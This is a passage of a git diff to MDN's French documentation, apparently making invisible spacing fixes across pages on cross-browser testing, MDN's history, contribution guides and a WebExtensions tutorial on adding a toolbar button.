lire [History of the browser user-agent string](http://webaim.org/blog/user-agent-string-history/) de Aaron Andersen pour une présentation utile et amusante de cette situation. La leçon à retenir ici est — ne JAMAIS utiliser de détecteur de code. Le seul cas d'usage pour le détecteur de code de nos jours c'est si vous implémentez un fix pour un bug pour une version très particulière d'un navigateur en particulier. Même dans ce cas, la plupart des bugs sont fixés rapidement dans le cycle rapide des sorties des navigateurs. Cela n'arrive pas très souvent. {{anch("Feature detection")}} est presque toujours une meilleure option — si vous détectez si une fonctionnalité est supportée, vous n'aurez pas besoin de changer votre code quand de nouvelles versions de navigateur sortiront, et les tests sont bien plus fiables. @@ -460,7 +460,7 @@ var AudioContext = window.AudioContext || window.webkitAudioContext; var audioCtx = new AudioContext(); ``` -Dans le cas de l'API Web Audio, les principaux points d'entrée pour utiliser l'API étaient supportés dans Chrome/Opera via les versions préfixées `webkit` (ils supportent dorénavant les versions non préfixées). Le moyen le plus simple de contourner cette situation est de créer une nouvelle version des objets qui sont préfixés dans certains navigateurs, et de la rendre égale à la version non préfixée, OU à la version préfixée (OU n'importe quelles versions préfixées qui méritent d'être éxaminées) — quelle que soit celle supportée par le navigateur affichant le site elle sera utilisée. +Dans le cas de l'API Web Audio, les principaux points d'entrée pour utiliser l'API étaient supportés dans Chrome/Opera via les versions préfixées `webkit` (ils supportent dorénavant les versions non préfixées). Le moyen le plus simple de contourner cette situation est de créer une nouvelle version des objets qui sont préfixés dans certains navigateurs, et de la rendre égale à la version non préfixée, OU à la version préfixée (OU n'importe quelles versions préfixées qui méritent d'être éxaminées) — quelle que soit celle supportée par le navigateur affichant le site elle sera utilisée. Ensuite utilisez cet objet pour manipuler l'API, plutôt que l'original. Dans ce cas nous créons un constructeur [AudioContext](/fr/docs/Web/API/AudioContext) modifié, puis nous créons une nouvelle instance de contexte audio à utiliser pour notre codage Web Audio. diff --git a/files/fr/learn/tools_and_testing/cross_browser_testing/testing_strategies/index.md b/files/fr/learn/tools_and_testing/cross_browser_testing/testing_strategies/index.md index 8f2e474df0..d19b78e975 100644 --- a/files/fr/learn/tools_and_testing/cross_browser_testing/testing_strategies/index.md +++ b/files/fr/learn/tools_and_testing/cross_browser_testing/testing_strategies/index.md @@ -280,7 +280,7 @@ La plupart du temps vous permettrez à vos utilisateurs de regarder la page ou l Lorsque vous exécutez les tests, cela peut aussi être une bonne idée de : -- Configurer si possible un profil navigateur séparé, avec les extensions et ces autres types de choses des navigateurs désactivées, et exécuter vos tests sur ce profile (voir [Utiliser le Profile Manager pour créer et retirer des profiles Firefox](https://support.mozilla.org/en-US/kb/profile-manager-create-and-remove-firefox-profiles) et [Share Chrome with others or add personas](https://support.google.com/chrome/answer/2364824), par exemple). +- Configurer si possible un profil navigateur séparé, avec les extensions et ces autres types de choses des navigateurs désactivées, et exécuter vos tests sur ce profile (voir [Utiliser le Profile Manager pour créer et retirer des profiles Firefox](https://support.mozilla.org/en-US/kb/profile-manager-create-and-remove-firefox-profiles) et [Share Chrome with others or add personas](https://support.google.com/chrome/answer/2364824), par exemple). - Utiliser le mode navigation privée sur votre navigateur lorsque vous exécutez vos tests, quand il est disponible (par ex. [Private Browsing](https://support.mozilla.org/en-US/kb/private-browsing-use-firefox-without-history) sur Firefox, [Incognito Mode](https://support.google.com/chrome/answer/95464) sur Chrome) grâce à cela les cookies et les fichiers temporaires ne seront pas sauvegardés. Ces étapes sont conçues pour s'assurer que le navigateur que vous êtes en train de tester est aussi "pure" que possible. C-à-d qu'il n'y a rien d'installé qui pourrait affecter les résultats des tests. @@ -291,7 +291,7 @@ Ces étapes sont conçues pour s'assurer que le navigateur que vous êtes en tra ## Résumé -Après avoir lu cet article vous devriez maintenant avoir une bonne idée de ce que vous pouvez faire pour identifier votre liste de public cible/navigateur cible, et ensuite efficacement mener à bien vos tests en navigateur croisé en se basant sur cette liste. +Après avoir lu cet article vous devriez maintenant avoir une bonne idée de ce que vous pouvez faire pour identifier votre liste de public cible/navigateur cible, et ensuite efficacement mener à bien vos tests en navigateur croisé en se basant sur cette liste. La prochaine fois nous tournerons notre attention sur les problèmes concrets de votre code que vos tests peuvent révéler, en commençant avec le HTML et le CSS. diff --git a/files/fr/learn/tools_and_testing/github/index.md b/files/fr/learn/tools_and_testing/github/index.md index 813f0afe66..68f83fe355 100644 --- a/files/fr/learn/tools_and_testing/github/index.md +++ b/files/fr/learn/tools_and_testing/github/index.md @@ -53,7 +53,7 @@ Il est aussi préférable que vous ayiez quelques connaissances fondamentales su ## Guides -Notez que les liens ci-après vous amènent à des ressources sur des sites externes. Nous envisageons la possibilité d'avoir notre cours consacré à Git/GitHub, mais pour l'instant, ceux-ci vous aideront à mieux appréhender le sujet. +Notez que les liens ci-après vous amènent à des ressources sur des sites externes. Nous envisageons la possibilité d'avoir notre cours consacré à Git/GitHub, mais pour l'instant, ceux-ci vous aideront à mieux appréhender le sujet. - [Hello World (de GitHub)](https://guides.github.com/activities/hello-world/) - : C'est un bon point pour commencer — ce guide pratique vous fera entrer dans l'utilisation de GitHub en vous apprenant les fondements de Git tels que la création de dépôts et de branches, la créations de _commits_ ainsi qu'à l'ouverture et à la fusion de _pull requests_. diff --git a/files/fr/learn/tools_and_testing/understanding_client-side_tools/index.md b/files/fr/learn/tools_and_testing/understanding_client-side_tools/index.md index ae7f690ae6..5f385731c3 100644 --- a/files/fr/learn/tools_and_testing/understanding_client-side_tools/index.md +++ b/files/fr/learn/tools_and_testing/understanding_client-side_tools/index.md @@ -32,6 +32,6 @@ Vous devez vraiment apprendre les bases des langages [HTML](/fr/docs/Learn/HTML) - [Principes de base de la gestion des paquets](/fr/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Package_management) - : Dans cet article, nous examinerons en détail les gestionnaires de paquets pour comprendre comment nous pouvons les utiliser dans nos propres projets - pour installer les dépendances des outils de projet, les maintenir à jour, etc. - [Introduction d'une chaîne d'outils complète](/fr/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Introducing_complete_toolchain) - - : Dans les deux derniers articles de la série, nous solidifierons vos connaissances en matière d'outillage en vous guidant tout au long du processus de création d'un exemple de chaîne d'outils d'étude de cas. Nous irons de la mise en place d'un environnement de développement sensible et de la mise en place d'outils de transformation au déploiement effectif de votre application sur Netlify. Dans cet article, nous allons présenter l'étude de cas, configurer notre environnement de développement et configurer nos outils de transformation de code. + - : Dans les deux derniers articles de la série, nous solidifierons vos connaissances en matière d'outillage en vous guidant tout au long du processus de création d'un exemple de chaîne d'outils d'étude de cas. Nous irons de la mise en place d'un environnement de développement sensible et de la mise en place d'outils de transformation au déploiement effectif de votre application sur Netlify. Dans cet article, nous allons présenter l'étude de cas, configurer notre environnement de développement et configurer nos outils de transformation de code. - [Déployer notre application](/fr/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Deployment) - : Dans le dernier article de notre série, nous prenons l'exemple de chaîne d'outils que nous avons construit dans l'article précédent et nous l'ajoutons afin de pouvoir déployer notre exemple d'application. Nous poussons le code sur GitHub, le déployons à l'aide de Netlify et vous montrons même comment ajouter un test simple au processus. diff --git a/files/fr/mdn/about/index.md b/files/fr/mdn/about/index.md index 3f561c9255..bea3c51eb4 100644 --- a/files/fr/mdn/about/index.md +++ b/files/fr/mdn/about/index.md @@ -8,7 +8,7 @@ original_slug: MDN/A_propos --- {{MDNSidebar}} -Le _Mozilla Developer Network_ (MDN) est une plateforme évoluée d’apprentissage des technologies web et des logiciels qui animent le Web, notamment : +Le _Mozilla Developer Network_ (MDN) est une plateforme évoluée d’apprentissage des technologies web et des logiciels qui animent le Web, notamment : - les standards du Web, tels que [CSS](/fr/docs/CSS), [HTML](/fr/docs/Web/HTML) et [JavaScript](/fr/docs/JavaScript) - le [développement d’applications web ouvertes](/fr/Apps) @@ -22,7 +22,7 @@ Il n’est pas nécessaire de savoir coder — ou même écrire — pour contrib Le projet _Mozilla Developer Network_ (à l’origine _Mozilla Developer Center_ (MDC) ou encore _Devmo_) a commencé début 2005, lorsque la [fondation Mozilla](https://www.mozilla.org/foundation/) a obtenu une licence d'AOL afin d'utiliser le contenu original de l'ancien site de documentation de Netscape, [DevEdge](http://web.archive.org/web/20040926065921/devedge.netscape.com/). Le contenu existant a été trié pour en retirer les parties qui étaient encore utiles. Migrées par des bénévoles vers ce wiki, les pages seront plus faciles à mettre à jour et à enrichir. -Depuis, le projet a continué à grandir formant à présent un point central pour toutes les documentations destinées aux développeur·se·s lié·e·s au projet Mozilla et aux technologies du Web ouvert. En 2010, le site s’est vu rebaptiser en _Mozilla Developper Network_. En 2011 furent lancés [DemoStudio](/fr/demos/), permettant aux développeurs web de partager et exposer leur code, ainsi que les pages « [Apprendre](/fr/learn) », proposant des liens vers des tutoriels. L’acronyme MDC subsiste encore aujourd’hui, et signifie « MDN Doc Center ». Dans l'avenir, le _Mozilla Developer Network_ espère devenir une ressource visitée quotidiennement par les créateurs web, les développeurs d'applications, d'extensions et de thèmes. +Depuis, le projet a continué à grandir formant à présent un point central pour toutes les documentations destinées aux développeur·se·s lié·e·s au projet Mozilla et aux technologies du Web ouvert. En 2010, le site s’est vu rebaptiser en _Mozilla Developper Network_. En 2011 furent lancés [DemoStudio](/fr/demos/), permettant aux développeurs web de partager et exposer leur code, ainsi que les pages « [Apprendre](/fr/learn) », proposant des liens vers des tutoriels. L’acronyme MDC subsiste encore aujourd’hui, et signifie « MDN Doc Center ». Dans l'avenir, le _Mozilla Developer Network_ espère devenir une ressource visitée quotidiennement par les créateurs web, les développeurs d'applications, d'extensions et de thèmes. Le système de wiki utilisé étant prévu pour être multilingue, différentes équipes de traduction se sont rapidement formées. La documentation existante en français pour les développeurs web est souvent très pauvre, ancienne et éparpillée. Des habitué·e·s de [xulfr.org](http://www.xulfr.org/) et de [Geckozone](https:/forums.mozfr.org/) se sont donc attelé·e·s à la tâche de traduire cette documentation pour un large public francophone. Mais nous sommes peu nombreux·ses et il y a énormément à faire, n'hésitez donc pas à nous rejoindre. diff --git a/files/fr/mdn/at_ten/history_of_mdn/index.md b/files/fr/mdn/at_ten/history_of_mdn/index.md index 4e5e7b77ac..2adcfeb1fc 100644 --- a/files/fr/mdn/at_ten/history_of_mdn/index.md +++ b/files/fr/mdn/at_ten/history_of_mdn/index.md @@ -13,12 +13,12 @@ Lors de cette discussion (en anglais), plusieurs contributeurs au projet MDN reg ```html hidden <audio controls="controls"> Il semblerait que votre navigateur ne dispose pas d'un lecteur audio intégré. Vous pouvez télécharger et l'utiliser depuis : https://videos.cdn.mozilla.net/uploads/mdn/MDN10/MDN_RoundTable.mp3 - <source src="https://videos.cdn.mozilla.net/uploads/mdn/MDN10/MDN_RoundTable.mp3" type="audio/mp3"> + <source src="https://videos.cdn.mozilla.net/uploads/mdn/MDN10/MDN_RoundTable.mp3" type="audio/mp3"> </audio> ``` ```css hidden - body{margin-top:8px;} + body{margin-top:8px;} ``` {{ EmbedLiveSample('Audio', 'auto', '50px') }} diff --git a/files/fr/mdn/at_ten/index.md b/files/fr/mdn/at_ten/index.md index 79e4969746..17cd38ae76 100644 --- a/files/fr/mdn/at_ten/index.md +++ b/files/fr/mdn/at_ten/index.md @@ -21,7 +21,7 @@ Depuis 10 ans, la communauté MDN documente le Web. Qu'il s'agisse de corriger q [En savoir plus](/fr/docs/MDN_a_dix_ans/Contribuer_à_MDN) -> Quand je souhaite comprendre « pourquoi » plutôt que « comment », j'utilise MDN. +> Quand je souhaite comprendre « pourquoi » plutôt que « comment », j'utilise MDN. — [Christian Heilmann](https://twitter.com/codepo8/status/621009648875868160) diff --git a/files/fr/mdn/contribute/github_beginners/index.md b/files/fr/mdn/contribute/github_beginners/index.md index 28f01d1226..17ed318144 100644 --- a/files/fr/mdn/contribute/github_beginners/index.md +++ b/files/fr/mdn/contribute/github_beginners/index.md @@ -336,7 +336,7 @@ Envoyons notre changement local à la branche distante. Vous pouvez le faire en Total 3 (delta 2), reused 0 (delta 0) remote: Resolving deltas: 100% (2/2), completed with 2 local objects. To github.com:chrisdavidmills/content.git - 77215e31e..44b207ef6 test-branch -> test-branch + 77215e31e..44b207ef6 test-branch -> test-branch ## Création d'une demande de triage diff --git a/files/fr/mdn/contribute/howto/create_and_edit_pages/index.md b/files/fr/mdn/contribute/howto/create_and_edit_pages/index.md index 4467084cf0..4735ecede3 100644 --- a/files/fr/mdn/contribute/howto/create_and_edit_pages/index.md +++ b/files/fr/mdn/contribute/howto/create_and_edit_pages/index.md @@ -23,7 +23,7 @@ Pour modifier une page, vous devez trouver la page source : . -La façon la plus rapide de la trouver est d'aller sur la page que vous souhaitez modifier, puis de vous rendre en bas de cette page et enfin de cliquer sur le lien <i lang="en">« Source on GitHub »</i>. +La façon la plus rapide de la trouver est d'aller sur la page que vous souhaitez modifier, puis de vous rendre en bas de cette page et enfin de cliquer sur le lien <i lang="en">« Source on GitHub »</i>. Une fois que vous avez trouvé la source à modifier, rendez-vous sur notre fichier <i lang="en">README</i> et parcourez notre [guide sur la contribution (en anglais)](https://github.com/mdn/translated-content/#making-contributions). Vous pouvez également consulter [ce billet en français](https://tech.mozfr.org/post/2021/03/16/MDN-sur-GitHub-comment-contribuer) pour savoir comment contribuer. @@ -44,4 +44,4 @@ Pour créer une nouvelle page, consultez les instructions fournies sur la [docum ## Voir aussi - [Guide stylistique de MDN](/fr/docs/MDN/Guidelines/Writing_style_guide) -- [MDN sur GitHub : comment contribuer ?](https://tech.mozfr.org/post/2021/03/16/MDN-sur-GitHub-comment-contribuer) +- [MDN sur GitHub : comment contribuer ?](https://tech.mozfr.org/post/2021/03/16/MDN-sur-GitHub-comment-contribuer) diff --git a/files/fr/mdn/contribute/howto/write_a_new_entry_in_the_glossary/index.md b/files/fr/mdn/contribute/howto/write_a_new_entry_in_the_glossary/index.md index acb069fce8..099a15d9af 100644 --- a/files/fr/mdn/contribute/howto/write_a_new_entry_in_the_glossary/index.md +++ b/files/fr/mdn/contribute/howto/write_a_new_entry_in_the_glossary/index.md @@ -10,7 +10,7 @@ translation_of: MDN/Contribute/Howto/Write_a_new_entry_in_the_Glossary --- {{MDNSidebar}} -Le [glossaire](/fr/docs/Glossary) MDN est le lieu privilégié où nous définissons la terminologie, le jargon et les abréviations utilisés dans la documentation et les codes. Contribuer à ce glossaire est une moyen simple de rendre le Web plus compréhensible pour n'importe qui. Nul besoin de posséder un haut niveau de compétence pour écrire des entrées du glossaire, elles doivent rester simples et évidentes. +Le [glossaire](/fr/docs/Glossary) MDN est le lieu privilégié où nous définissons la terminologie, le jargon et les abréviations utilisés dans la documentation et les codes. Contribuer à ce glossaire est une moyen simple de rendre le Web plus compréhensible pour n'importe qui. Nul besoin de posséder un haut niveau de compétence pour écrire des entrées du glossaire, elles doivent rester simples et évidentes. ## Comment créer une entrée @@ -61,7 +61,7 @@ Illustrons cela par un exemple. Le terme _signature_ peut avoir différentes sig ## Utiliser la macro \\{{Glossary}} -Le glossaire devient beaucoup plus utile lorsque le lecteur peut atteindre les définitions depuis un autre document sans avoir à naviguer hors de ce document. C'est la raison pour laquelle nous vous incitons à créer des liens vers le glossaire dès que vous le pouvez, en utilisant la macro {{TemplateLink("Glossary")}} : +Le glossaire devient beaucoup plus utile lorsque le lecteur peut atteindre les définitions depuis un autre document sans avoir à naviguer hors de ce document. C'est la raison pour laquelle nous vous incitons à créer des liens vers le glossaire dès que vous le pouvez, en utilisant la macro {{TemplateLink("Glossary")}} : | Macro | Result | Note | | ---------------------------------------------------------- | ---------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------- | diff --git a/files/fr/mdn/guidelines/code_guidelines/index.md b/files/fr/mdn/guidelines/code_guidelines/index.md index 9b887fdfac..a1decd0e4a 100644 --- a/files/fr/mdn/guidelines/code_guidelines/index.md +++ b/files/fr/mdn/guidelines/code_guidelines/index.md @@ -1,5 +1,5 @@ --- -title: Lignes directrices pour les fragments de code +title: Lignes directrices pour les fragments de code slug: MDN/Guidelines/Code_guidelines tags: - CSS diff --git a/files/fr/mdn/structures/macros/commonly-used_macros/index.md b/files/fr/mdn/structures/macros/commonly-used_macros/index.md index 54876223e2..51f6fde3d2 100644 --- a/files/fr/mdn/structures/macros/commonly-used_macros/index.md +++ b/files/fr/mdn/structures/macros/commonly-used_macros/index.md @@ -35,7 +35,7 @@ Il existe différentes macros pour des liens vers des pages dans les zones de r - {{TemplateLink("domxref")}} links to pages in the DOM reference; if you include parentheses at the end, the template knows to display the link to look like a function name. For example, \\{{domxref("document.getElementsByName()")}} results in {{ domxref("document.getElementsByName()") }} while `\{\{domxref("Node")\}\}` results in {{ domxref("Node") }}. - {{TemplateLink("event")}} links to pages in the DOM Event reference, for example: \\{{event("change")}} results in {{event("change")}}. - {{TemplateLink("HTMLElement")}} links to an HTML element in the HTML Reference. -- {{TemplateLink("htmlattrxref")}} links to an HTML attribute, either a global attribute description if you only specify the attribute name or an attribute associated with a specific element if you specify an attribute name and an element name. For example, `\{\{htmlattrxref("lang")\}\}` will create this link: {{htmlattrxref("lang")}}. `\{\{htmlattrxref("type","input")\}\}` will create this link: {{htmlattrxref("type","input")}}. +- {{TemplateLink("htmlattrxref")}} links to an HTML attribute, either a global attribute description if you only specify the attribute name or an attribute associated with a specific element if you specify an attribute name and an element name. For example, `\{\{htmlattrxref("lang")\}\}` will create this link: {{htmlattrxref("lang")}}. `\{\{htmlattrxref("type","input")\}\}` will create this link: {{htmlattrxref("type","input")}}. - {{TemplateLink("jsxref")}} links to a page in the [JavaScript Reference](/en-US/docs/Web/JavaScript/Reference "en-US/docs/Web/JavaScript/Reference"). - {{TemplateLink("SVGAttr")}} links to a specific SVG attribute. For example, `\{\{SVGAttr("d")\}\}` creates this link: {{SVGAttr("d")}}. - {{TemplateLink("SVGElement")}} links to an SVG element in the SVG Reference. diff --git a/files/fr/mozilla/add-ons/index.md b/files/fr/mozilla/add-ons/index.md index 98b2fbca3e..f725e85def 100644 --- a/files/fr/mozilla/add-ons/index.md +++ b/files/fr/mozilla/add-ons/index.md @@ -21,13 +21,13 @@ Il y a plusieurs types de modules complémentaires _(add-ons)_, mais le plus cou ## Développer des modules complémentaires -Par le passé, il a existé différents outils et formats pour développer des modules complémentaires pour Firefox. Cependant,depuis Novembre 2017, les [WebExtensions](/fr/Add-ons/WebExtensions) sont devenues le format standard. Les autres outils (le SDK Add-On par exemple) sont maintenant dépréciés. +Par le passé, il a existé différents outils et formats pour développer des modules complémentaires pour Firefox. Cependant,depuis Novembre 2017, les [WebExtensions](/fr/Add-ons/WebExtensions) sont devenues le format standard. Les autres outils (le SDK Add-On par exemple) sont maintenant dépréciés. [En savoir plus à propos des WebExtensions](/fr/Add-ons/WebExtensions) Si vous développez un nouveau module complémentaire, nous vous recommandons d'utiliser WebExtension. -Les extensions qui respectent le format WebExtensions de Firefox sont conçues pour pouvoir être utilisées sur différents navigateurs. Les extensions WebExtensions écrites pour Firefox fonctionneront pour la plupart dans Chrome, Edge et Opera, nécessitant peu, si ce n'est aucun changements. Elles sont également compatibles avec le mode multi-processus de Firefox. +Les extensions qui respectent le format WebExtensions de Firefox sont conçues pour pouvoir être utilisées sur différents navigateurs. Les extensions WebExtensions écrites pour Firefox fonctionneront pour la plupart dans Chrome, Edge et Opera, nécessitant peu, si ce n'est aucun changements. Elles sont également compatibles avec le mode multi-processus de Firefox. [Voici la liste des API actuellement prises en charge par Firefox et les autres navigateurs](/fr/Add-ons/WebExtensions/Browser_support_for_JavaScript_APIs). Nous continuons à concevoir et à implémenter de nouvelles API afin de répondre aux besoins des développeurs. @@ -35,11 +35,11 @@ La plupart des API utilisées pour WebExtension sont également disponibles pour ### L'atelier des extensions Firefox _(Extension Workshop)_ -L'[atelier des extensions firefox _(Extension Workshop)_](https://extensionworkshop.com/) est utile pour aider à développer une extension pour Firefox en offrant à l'utilisateur une façon simple et efficace de personnaliser sa navigatrion sur internet. On peut notamment y trouver : +L'[atelier des extensions firefox _(Extension Workshop)_](https://extensionworkshop.com/) est utile pour aider à développer une extension pour Firefox en offrant à l'utilisateur une façon simple et efficace de personnaliser sa navigatrion sur internet. On peut notamment y trouver : - [Une vue d'ensemble des fonctionnalités des extensions Firefox](https://extensionworkshop.com/#about) - [Les outils et les procédés pour développer et tester son application](https://extensionworkshop.com/documentation/develop/) -- [Comment publier son extensions sur addons.mozilla.org et la distribuer](https://extensionworkshop.com/documentation/publish/) +- [Comment publier son extensions sur addons.mozilla.org et la distribuer](https://extensionworkshop.com/documentation/publish/) - [Comment gérer son extension, une fois celle-ci publiée](https://extensionworkshop.com/documentation/manage/) - [Guide pour développer et utiliser une extension pour les entreprises](https://extensionworkshop.com/documentation/enterprise/) - [Comment développer un thème pour Firefox](https://extensionworkshop.com/documentation/themes/) diff --git a/files/fr/mozilla/add-ons/webextensions/add_a_button_to_the_toolbar/index.md b/files/fr/mozilla/add-ons/webextensions/add_a_button_to_the_toolbar/index.md index 322c0a5ded..70fb22c37a 100644 --- a/files/fr/mozilla/add-ons/webextensions/add_a_button_to_the_toolbar/index.md +++ b/files/fr/mozilla/add-ons/webextensions/add_a_button_to_the_toolbar/index.md @@ -8,21 +8,21 @@ original_slug: Mozilla/Add-ons/WebExtensions/Ajouter_un_bouton_a_la_barre_d_outi --- {{AddonSidebar}} -Les boutons de la barre d’outils sont l’un des principaux composants UI disponibles aux WebExtensions. Les boutons de la barre d’outils sont présents dans la barre d’outils principale du navigateur et contiennent une icône. Lorsque l’utilisateur clique sur l’icône, une des deux choses peut arriver : +Les boutons de la barre d’outils sont l’un des principaux composants UI disponibles aux WebExtensions. Les boutons de la barre d’outils sont présents dans la barre d’outils principale du navigateur et contiennent une icône. Lorsque l’utilisateur clique sur l’icône, une des deux choses peut arriver : - Si vous avez spécifié une fenêtre contextuelle pour l’icône, la fenêtre contextuelle s’affiche. Les fenêtres contextuelles sont des boîtes de dialogue spécifiées à l’aide de HTML, CSS et JavaScript. - Si vous n’avez pas spécifié une fenêtre contextuelle, un événement de clic est généré, que vous pouvez écouter dans votre code et effectuer un autre type d’action en réponse -Dans WebExtensions, ces types de boutons s’appellent « actions du navigateur » et sont configurés de la manière suivante : +Dans WebExtensions, ces types de boutons s’appellent « actions du navigateur » et sont configurés de la manière suivante : - La clé de manifest.json [`browser_action`](/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/browser_action) permet de définir le bouton. - L’API JavaScript [`browserAction`](/fr/docs/Mozilla/Add-ons/WebExtensions/API/browserAction) est utilisé pour écouter les clics modifier le bouton ou effectuer des actions via votre code. ## Un bouton simple -Dans cette section, nous créerons une WebExtension qui ajoute un bouton à la barre d’outils. Lorsque l’utilisateur clique sur le bouton, nous ouvrirons [https ://developer.mozilla.org](https://developer.mozilla.org) dans un nouveau onglet. +Dans cette section, nous créerons une WebExtension qui ajoute un bouton à la barre d’outils. Lorsque l’utilisateur clique sur le bouton, nous ouvrirons [https ://developer.mozilla.org](https://developer.mozilla.org) dans un nouveau onglet. -Tout d’abord, créez un nouveau dossier, « bouton », et créez un fichier appelé « manifest.json » à l’intérieur avec le contenu suivant : +Tout d’abord, créez un nouveau dossier, « bouton », et créez un fichier appelé « manifest.json » à l’intérieur avec le contenu suivant : ```json { @@ -46,18 +46,18 @@ Tout d’abord, créez un nouveau dossier, « bouton », et créez un fichie } ``` -Cela spécifie que nous aurons un script en [arrière‐plan](/fr/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Background_scripts) nommé « background.js », et une action du navigateur (bouton) et une action du navigateur (bouton) dont les icônes vont vivre dans le répertoire « icônes ». +Cela spécifie que nous aurons un script en [arrière‐plan](/fr/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Background_scripts) nommé « background.js », et une action du navigateur (bouton) et une action du navigateur (bouton) dont les icônes vont vivre dans le répertoire « icônes ». -Ces icônes proviennent des [bits !](https://www.iconfinder.com/iconsets/bitsies) icônes créées parRecep Kütük. +Ces icônes proviennent des [bits !](https://www.iconfinder.com/iconsets/bitsies) icônes créées parRecep Kütük. -Ensuite, créez un dossier « icons » dans le dossier « buttons » et enregistrez les deux icônes ci‐dessous : +Ensuite, créez un dossier « icons » dans le dossier « buttons » et enregistrez les deux icônes ci‐dessous : -- « page‐16.png » () -- « page‐32.png » (). +- « page‐16.png » () +- « page‐32.png » (). Nous avons deux icônes que nous pouvons utiliser, la plus grande dans les écrans haute densité. Le navigateur prend en charge la sélection de la meilleure icône pour l’affichage courrant. -Ensuite, créez « background.js » dans le répertoire racine de l’add‐on, et donnez‐lui le contenu suivant : +Ensuite, créez « background.js » dans le répertoire racine de l’add‐on, et donnez‐lui le contenu suivant : ```js function openPage() { @@ -69,9 +69,9 @@ function openPage() { browser.browserAction.onClicked.addListener(openPage); ``` -Cela écoute l’événement de clic de l’action du navigateur ; Lorsque l’événement se déclenche, la fonction `openPage()` est exécuté, ce qui ouvre la page spécifiée à l’aide de l’API des [`onglets`](/fr/docs/Mozilla/Add-ons/WebExtensions/API/tabs). +Cela écoute l’événement de clic de l’action du navigateur ; Lorsque l’événement se déclenche, la fonction `openPage()` est exécuté, ce qui ouvre la page spécifiée à l’aide de l’API des [`onglets`](/fr/docs/Mozilla/Add-ons/WebExtensions/API/tabs). -A ce point, l’extension complète devrait ressembler à ceci : +A ce point, l’extension complète devrait ressembler à ceci : ```html button/ @@ -82,13 +82,13 @@ button/ manifest.json ``` -Maintenant [installer la WebExtension](/fr/Add-ons/WebExtensions/Temporary_Installation_in_Firefox) et cliquez sur le bouton : +Maintenant [installer la WebExtension](/fr/Add-ons/WebExtensions/Temporary_Installation_in_Firefox) et cliquez sur le bouton : {{EmbedYouTube("kwwTowgT‐Ys")}} ## Ajout d’une fenêtre contextuelle -Essayons d’ajouter une fenêtre contextuelle au bouton. Remplacez manifest.json par ceci : +Essayons d’ajouter une fenêtre contextuelle au bouton. Remplacez manifest.json par ceci : ```json { @@ -110,13 +110,13 @@ Essayons d’ajouter une fenêtre contextuelle au bouton. Remplacez manifest.jso } ``` -Nous avons fait trois changements par rapport à l’original : +Nous avons fait trois changements par rapport à l’original : -- Nous ne parlons plus de « background.js », car maintenant nous allons gérer la logique de l’extension dans le script de la fenêtre contextuelle (vous êtes autorisé à utiliser background.js ainsi qu’un popup, c’est juste que nous n’en avons pas besoin dans ce cas). +- Nous ne parlons plus de « background.js », car maintenant nous allons gérer la logique de l’extension dans le script de la fenêtre contextuelle (vous êtes autorisé à utiliser background.js ainsi qu’un popup, c’est juste que nous n’en avons pas besoin dans ce cas). - Nous avons ajouté `"browser_style":true`, ce qui aidera le style de notre popup à ressembler davantage à une partie du navigateur. -- Enfin, nous avons ajouté `"default_popup": "popup/choose_page.html"`, qui indique au navigateur que l’action du navigateur va maintenant afficher une fenêtre contextuelle lorsqu’elle est cliquée, dont le document se trouve dans « popup / choose_page.html ». +- Enfin, nous avons ajouté `"default_popup": "popup/choose_page.html"`, qui indique au navigateur que l’action du navigateur va maintenant afficher une fenêtre contextuelle lorsqu’elle est cliquée, dont le document se trouve dans « popup / choose_page.html ». -Donc maintenant nous devons créer cette fenêtre contextuelle. Créez un répertoire appelé « popup » puis créez un fichier appelé « choose_page.html » à l’intérieur. Donnez‐lui les contenus suivants : +Donc maintenant nous devons créer cette fenêtre contextuelle. Créez un répertoire appelé « popup » puis créez un fichier appelé « choose_page.html » à l’intérieur. Donnez‐lui les contenus suivants : ```html <!DOCTYPE html> @@ -139,7 +139,7 @@ Donc maintenant nous devons créer cette fenêtre contextuelle. Créez un réper Vous pouvez voir qu’il s’agit d’une page HTML normale contenant trois éléments {{htmlelement ("div")}}, chacun avec le nom d’un site Mozilla à l’intérieur. Il comprend également un fichier CSS et un fichier JavaScript, que nous ajouterons ensuite. -Créez un fichier appelé « choose_page.css » dans le répertoire « popup » et donnez‐lui ce contenu : +Créez un fichier appelé « choose_page.css » dans le répertoire « popup » et donnez‐lui ce contenu : ```css html, body { @@ -161,7 +161,7 @@ html, body { C'est juste un peu d’habillage pour notre popup. -Ensuite, créez un fichier « choose_page.js » dans le répertoire « popup » et donnez‐le à ces contenus : +Ensuite, créez un fichier « choose_page.js » dans le répertoire « popup » et donnez‐le à ces contenus : ```js document.addEventListener("click", function(e) { @@ -177,9 +177,9 @@ document.addEventListener("click", function(e) { }); ``` -Dans notre JavaScript, nous écoutons les clics sur les choix contextuels. Nous vérifions d’abord si le clic a atterri sur l’un des choix de la page ; Sinon, nous ne faisons rien d’autre. Si le clic atterrit sur un choix de page, nous construisons une URL à partir de celui‐ci, et ouvrons un nouvel onglet contenant la page correspondante. Notez que nous pouvons utiliser les API WebExtension dans les scripts contextuels, tout comme nous le pouvons dans les scripts en arrière‐plan. +Dans notre JavaScript, nous écoutons les clics sur les choix contextuels. Nous vérifions d’abord si le clic a atterri sur l’un des choix de la page ; Sinon, nous ne faisons rien d’autre. Si le clic atterrit sur un choix de page, nous construisons une URL à partir de celui‐ci, et ouvrons un nouvel onglet contenant la page correspondante. Notez que nous pouvons utiliser les API WebExtension dans les scripts contextuels, tout comme nous le pouvons dans les scripts en arrière‐plan. -La structure finale de l’add‐on devrait ressembler à ceci : +La structure finale de l’add‐on devrait ressembler à ceci : button/ icons/ @@ -191,7 +191,7 @@ La structure finale de l’add‐on devrait ressembler à ceci : choose_page.js manifest.json -Maintenant, rechargez l’extension, cliquez de nouveau sur le bouton et essayez de cliquer sur les choix dans la fenêtre contextuelle : +Maintenant, rechargez l’extension, cliquez de nouveau sur le bouton et essayez de cliquer sur les choix dans la fenêtre contextuelle : {{EmbedYouTube("QPEh1L1xq0Y")}} @@ -205,10 +205,10 @@ Alors que les actions du navigateur sont toujours affichées, les actions de la - `Clé de manifest browser_action` - `API browserAction` -- Exemples d’actions du navigateur : +- Exemples d’actions du navigateur : - [beastify](https://github.com/mdn/webextensions-examples/tree/master/beastify) - - 